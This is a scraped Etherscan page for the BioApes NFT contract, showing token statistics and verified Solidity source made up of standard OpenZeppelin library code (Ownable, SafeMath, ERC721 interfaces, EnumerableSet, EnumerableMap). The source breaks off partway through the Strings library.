ERC-721
NFT
Overview
Max Total Supply
1,800 BIO
Holders
381
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
2 BIOLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BioApes
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-05-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/introspection/IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor() { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require( set._values.length > index, "EnumerableSet: index out of bounds" ); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping(bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set( Map storage map, bytes32 key, bytes32 value ) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({_key: key, _value: value})); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require( map._entries.length > index, "EnumerableMap: index out of bounds" ); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get( Map storage map, bytes32 key, string memory errorMessage ) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set( UintToAddressMap storage map, uint256 key, address value ) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get( UintToAddressMap storage map, uint256 key, string memory errorMessage ) internal view returns (address) { return address( uint160(uint256(_get(map._inner, bytes32(key), errorMessage))) ); } } // File: @openzeppelin/contracts/utils/Strings.sol /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while 